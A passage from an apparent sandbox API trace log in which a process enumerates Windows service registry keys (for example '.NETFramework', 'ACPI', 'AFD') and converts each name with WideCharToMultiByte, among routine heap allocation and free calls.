lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0243.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0243.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0243.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a00, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0243.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0243.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0243.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1df0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0243.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.986] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0243.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0243.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a00, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0243.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0243.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0243.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1df0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0243.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0243.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0243.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0243.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0243.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1df0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0243.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.987] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0243.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0243.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.988] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0243.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0243.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1df0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0243.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.988] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0243.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0243.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.988] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0243.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0243.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.989] RegEnumKeyW (in: hKey=0x150, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0243.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0243.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.989] RegEnumKeyW (in: hKey=0x150, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0243.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0243.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1df0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0243.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.989] RegEnumKeyW (in: hKey=0x150, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0243.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0243.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0243.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.989] RegEnumKeyW (in: hKey=0x150, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0243.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0243.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0243.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.990] RegEnumKeyW (in: hKey=0x150, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0243.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0243.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.990] RegEnumKeyW (in: hKey=0x150, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0243.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0243.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0243.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.990] RegEnumKeyW (in: hKey=0x150, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0243.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0243.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.991] RegEnumKeyW (in: hKey=0x150, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0243.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0243.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.991] RegEnumKeyW (in: hKey=0x150, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0243.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0243.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0243.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.991] RegEnumKeyW (in: hKey=0x150, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0243.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0243.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.991] RegEnumKeyW (in: hKey=0x150, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0243.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.991] 